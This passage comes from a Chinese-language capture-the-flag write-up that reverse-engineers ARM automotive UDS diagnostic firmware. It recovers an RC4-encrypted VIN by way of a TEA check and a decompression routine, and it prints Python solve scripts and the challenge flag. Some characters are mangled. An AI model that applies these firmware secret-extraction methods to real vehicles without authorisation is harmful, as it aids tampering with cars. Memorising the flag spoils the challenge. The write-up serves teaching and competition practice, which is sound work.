    4108944556, 3404732701, 1466956825,  788072761,
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    1482427973,  782926647, 1635740553, 4115935911,
    2820454423, 3206473923, 1700989382, 2460803532,
    2399057278,  968884411, 1298467094, 1786305447,
    3953508515, 2466099443, 4105559714,  779131097,
     288224004, 3322844775, 4122289132, 2089726849,
     656452727, 3096682206, 2217255962,  680183044,
    3394288893,  697481839, 1109578150, 2272036063
]
decrypt(v, key)
print(bytes(v))
# SCTF{w0w_y0U_wE1_kNOw_of_cYtH0N}
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Uds�

32�位�arm�⼩端序打开即可反编译，根据情况建⼀下段�

通过字符串看，可能相关的库：

https://github.com/armfly/H7-

TOOL_STM32H7_App/blob/d56c6897de28e4be1931108a462a1fe7c29971cd/User/bsp/src/bsp_ti

mer.c�

https://github.com/junyang0412/iso14229/blob/main/README_zh.md�

需要找VIN，搜⼀下就是0x22服务的DID=0xf190�

UDSServerPoll⾥找到0x22的服务处理函数：�

https://github.com/armfly/H7-TOOL_STM32H7_App/blob/d56c6897de28e4be1931108a462a1fe7c29971cd/User/bsp/src/bsp_timer.c
https://github.com/junyang0412/iso14229/blob/main/README_zh.md


调⽤fn，event为2：�

⽽VIN处于RAM，没值，交叉引⽤来到fn中另⼀处：�



⽤tea检查输⼊，如果正确就⽤rc4解密VIN�

但是rc4解密也是需要有初始值的，已经没有其他引⽤了，那就是init_array中有初始化RAM中的数

据：

这⾥有两个函数调⽤，相当于第⼀个是初始化.data段，第⼆个是清零.bss。初始化就是个数据的解压

操作：

void __fastcall sub_810004C(unsigned __int8 *src, unsigned __int8 *dst, int 
size)
{
  unsigned __int8 *dst_end; // r4
  unsigned int c; // t1 MAPDST
  int copy_count; // r3
  int v7; // t1
  unsigned int zero_count; // r2
  unsigned int v9; // t1
  unsigned __int8 v10; // t1

  dst_end = &dst[size];
  do
  {
    c = *src++;
    copy_count = c & 0xF;
    if ( (c & 0xF) == 0 )
    {
      v7 = *src++;
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      copy_count = v7;
    }
    zero_count = c >> 4;
    if ( !zero_count )
    {
      v9 = *src++;
      zero_count = v9;
    }
    while ( --copy_count )
    {
      v10 = *src++;
      *dst++ = v10;
    }
    while ( --zero_count )
      *dst++ = 0;
  }
  while ( dst < dst_end );
}
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照抄出来解密VIN即可。�

from Crypto.Cipher import ARC4

def tea_decrypt(data, key):
    delta = 0x9e3779b9
    rounds = 32
    sum = delta * rounds & 0xffffffff
    for i in range(rounds):
        data[1] = data[1] - ((key[2] + (data[0] << 4)) ^ (data[0] + sum) ^ 
(key[3] + (data[0] >> 5))) & 0xffffffff
        data[0] = data[0] - ((key[0] + (data[1] << 4)) ^ (data[1] + sum) ^ 
(key[1] + (data[1] >> 5))) & 0xffffffff
        sum = sum - delta & 0xffffffff
    return data

def tea_encrypt(data, key):
    delta = 0x9e3779b9
    rounds = 32
    sum = 0
    for i in range(rounds):
        sum = sum + delta & 0xffffffff
        data[0] = data[0] + ((key[0] + (data[1] << 4)) ^ (data[1] + sum) ^ 
(key[1] + (data[1] >> 5))) & 0xffffffff
        data[1] = data[1] + ((key[2] + (data[0] << 4)) ^ (data[0] + sum) ^ 
(key[3] + (data[0] >> 5))) & 0xffffffff
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    return data

def get_rc4key():
    tea_key = [0x0123, 0x4567, 0x89ab, 0xcdef]
    data = [0x11223344, 0x55667788]
    data = tea_encrypt(data, tea_key)
    return b''.join(i.to_bytes(4, 'big') for i in data)

def decompress(data, outsize):
    out = []
    index = 0
    while len(out) < outsize:
        c = data[index]
        index += 1
        copy_count = c & 0xf
        zero_count = (c >> 4) & 0xf
        if copy_count == 0:
            copy_count = data[index]
            index += 1
        if zero_count == 0:
            zero_count = data[index]
            index += 1
        assert copy_count and zero_count
        for i in range(copy_count - 1):
            out.append(data[index])
            index += 1
        for i in range(zero_count - 1):
            out.append(0)
        # print(len(out), index)
        # print(bytes(out))
    return bytes(out)

# compressed = open('uds', 'rb').read()[0x4ec8: ]
compressed = 
bytes.fromhex('01130296880012b014a691feb9d741af82cc4ee94747284fd1421052015890d0
030090d003021801')
# compressed += b'\x00' * 0x20
memory = decompress(compressed, 0x194)
encrypted_VIN = memory[0xa8: 0xa8 + 150].rstrip(b'\x00')

print(encrypted_VIN)
rc4key = get_rc4key()
# print(rc4key.hex())
VIN = ARC4.new(rc4key).decrypt(encrypted_VIN)
print(VIN)
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